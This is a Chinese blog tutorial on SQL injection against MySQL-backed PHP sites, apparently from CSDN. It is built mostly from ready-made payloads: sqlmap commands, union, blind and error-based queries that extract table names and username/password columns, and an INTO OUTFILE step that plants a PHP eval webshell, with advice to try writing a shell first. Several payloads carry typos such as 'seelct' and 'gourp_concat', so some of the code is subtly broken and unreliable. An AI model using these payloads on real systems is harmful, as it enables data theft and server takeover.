深入理解sql注入(01)

sql注入漏洞

0x01 定义

应用程序在向后台数据库传递SQL(Structured Query Lanuage,结构化查询语言)查询时,如果为攻击者提供了影响该查询的能力,便会引发SQL注入。

-——- 《SQL注入攻击与防御》Justin Clarke

0x02 攻击方式

  1. 主要方式:将代码直接插入参数中,这些参数会被置入sql命令中加以执行。
  2. 间接方式:将恶意代码插入到字符串中,之后再将这些字符串保存到数据库的数据表中或将其当作元数据。当存储的字符串正如动态sql命令中时,恶意代码就将被执行。(二阶注入便是如此)

0x03 sql注入的分类

按照提交数据的方式

  1. get型
    • 直接在url中构造payload
  2. post型

    • 该类型便比较灵活,登陆框、http头等都可以
    • 在sqlmap中进行post方式注入
    sqlmap -u http://127.0.0.1/index.php --data="id=1"
  3. cookie型
    参数的获取使用的是request方式

    $id = $_REQUEST['id'];
    • 手工注入
    javascript:alert(document.cookie="id="+escape("1 payload")
    • sqlmap
    sqlmap -u http://127.0.0.1/index.php --cookie  "id=1" --level 2

    Tips:

    默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–-level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer

按照数据的类型

  1. 数字型
  2. 字符型

按照注入模式

  1. 基于布尔的盲注(Boolean-based blind SQL injection)
  2. 基于时间的盲注(Time-based blind SQL injection)
  3. 基于报错的注入(Error-based SQL injection)
  4. 联合查询注入(Union query SQL injection)

    可以使用union联合查询时的注入

  5. 堆查询注入(Stacked injection )

    可以同时执行多条语句时的注入

0x04 堆查询注入与联合查询注入的区别

  • 联合查询注入可以一次执行多条查询语句,而堆查询注入可以执行任意语句

  • 分号(;)是语句分隔符

  • 因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的

0x05 注入模式的选取

  1. 页面出现sql语句的报错信息时,优先选取基于报错的注入模式
  2. 页面有正常回显时,有限选取联合查询的注入模式
  3. 页面没有回显时考虑盲注,优先考虑布尔型

0x06 sql注入写shell

以mysql数据库举例子

  1. 查看当前用户

    select current_user;

    返回 user@host

  2. 查看当前用户是否具有写权限

    select File_priv from mysql.user where user = '用户名' and host = 'host'

    如果单引号被禁用,则全部用十六进制

  3. 写入shell

    前提:需要先知道++++==apache覆盖==++++下的当前用户==可写入的绝对路径==

    select '<?php eval($_POST[horse]);?>' into outfile '/var/www/html/uploads/hosre.php'

    如果单引号被禁用,或者字符被转义为html实体,则用十六进制表示

也可以利用load date file 来读取敏感信息,如配置文件

==存在注入时,优先考虑是否可以写shell==

0x07 通用注入步骤

  1. 求闭合字符
  2. 选择注入模式
  3. 爆数据库
  4. 爆表名
  5. 爆列名
  6. 爆字段名

以AMP的结构举例

联合注入模式(已经确定存在注入,判断注入的语句不在赘述)

  1. 求闭合字符

    这里写图片描述

    $query1 = "select * from information where id = '".$_GET['id']."'";
    $query2 = 'select * from information where id = "'.$_GET['id2'].'"';
    $query3 = "select * from information where id in (".$_GET['id3'].")";
    $query4 = "select * from information where id in ('".$_GET['id4']."')";

    闭合字符分别是

    '
    "
    )
    ')

    其他复杂闭合字符皆可如此构造

  2. 爆列数,并尝试爆显示位

    id = 1' order by 3 -- + 页面正常
    id = 1' order by 4 -- + 页面不正常
    id = 1' and 1=2 union select 1,2,3 -- + 假设2为显示位
  3. 爆数据库名称

    id = 1' and 1=2 union select 1,database(),3 -- + 
  4. 爆表名

    id = 1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=数据库名称的十六进制 -- +
  5. 爆列名

    id = 1' and 1=2 union select 1,gourp_concat(column_name),3 form information_schema.columns where table_schema=数据库名称的十六进制 and table_name = 表名的十六进制 -- +
  6. 爆字段

    id = 1' and 1=2 union select 1,group_concat(username,0x20,password),3 from 表名.列名 -- +

Tips:

十六进制前面需要加0x作为十六进制标志位

基于时间的盲注

应用情景

  • 无显示位

步骤

  1. 爆当前数据库名称的长度,假设得到6

    and if(length(database())>0,1,sleep(3))
  2. 爆数据库名称,假设得到teagle

    and if(ascii(substr(database(),1,1))>97,1,sleep(3))
  3. 爆teagle数据库表的数量

    and if((select count(table_name) from information_schema.tables where table_schema=database() )>0,1,sleep(3))
  4. 爆表名称长度

    and if(lengh((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0,1,sleep(3))

Tips:

length里面只能放数值,放表达式时需要将括号括起来
5. 爆表名称,假设爆得表名admin

```
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)),1,sleep(3))
```

6. 爆列数量

```
and if((select count(*) from information_schema.tables where table_schema = database() and table_name='admin')>0,1,sleep(3))
```

7. 爆列长度
8. 爆列名
9. 爆字段数量
10. 爆字段长度
11. 爆字段内容

重复性的内容便不再赘述

基于布尔的盲注

与基于时间的盲注大同小异,不再赘述

  • 爆数据库长度
and length(database())>0

基于报错的注入模式

选择一个合适的报错函数,优先考虑floor(),updatexml(),extractvalue()

  • 爆数据库名
id = 1' and updatexml(1,concat(0x20,(select database()),0x20),1) -- +
  • 爆表名
id = 1' and updatexml(1,concat(0x20,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x20)1) -- +

步骤参考联合查询的注入模式,不在赘述

0x08 十五种MySQL报错注入

  1. floor()

    MySQL 5.0以上皆可使用

    id = 1 and (select 1 from (seelct count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x)a)
  2. updatexml()

    MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是updatexml()和extractvalue()函数

    id = 1 and updatexml(1,concat(0x20,(select database()),0x20),1)
  3. extractvalue()

    id = 1 and extractvalue(1,concat(0x20,(select user()),0x20))
  4. exp()

    第四种到第十种皆是==MySQL 5.1==以后才可报错,其中五种到第十种可以归为一类。

    id =1 and exp(~(select * from(select user())a))
  5. GeometryCollection()

    id = 1 and GeometryCollection((select * from (select * from (select user())a)b))
  6. polygon()

    id =1 and polygon((select * from(select * from(select user())a)b))
  7. mutipoint()

    id =1 and mutipoint((select * from(select * from(select user())a)b))
  8. multionlinestring()

    id =1 and multionlinestring((select * from(select * from(select user())a)b))
  9. multipolygon()

    id =1 and mutipolygon((select * from(select * from(select user())a)b))
  10. linestring()

    id =1 and linestring((select * from(select * from(select user())a)b))
  11. ST_LatFromGeoHash()

    第十一种到第十五种为==MySQL 5.7==中新添加的报错函数。

  12. ST_LongFromGeoHash()
  13. GTID_SUBSET()
  14. GTID_SUBTRACT()
  15. ST_PointFromGeoHash()
  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值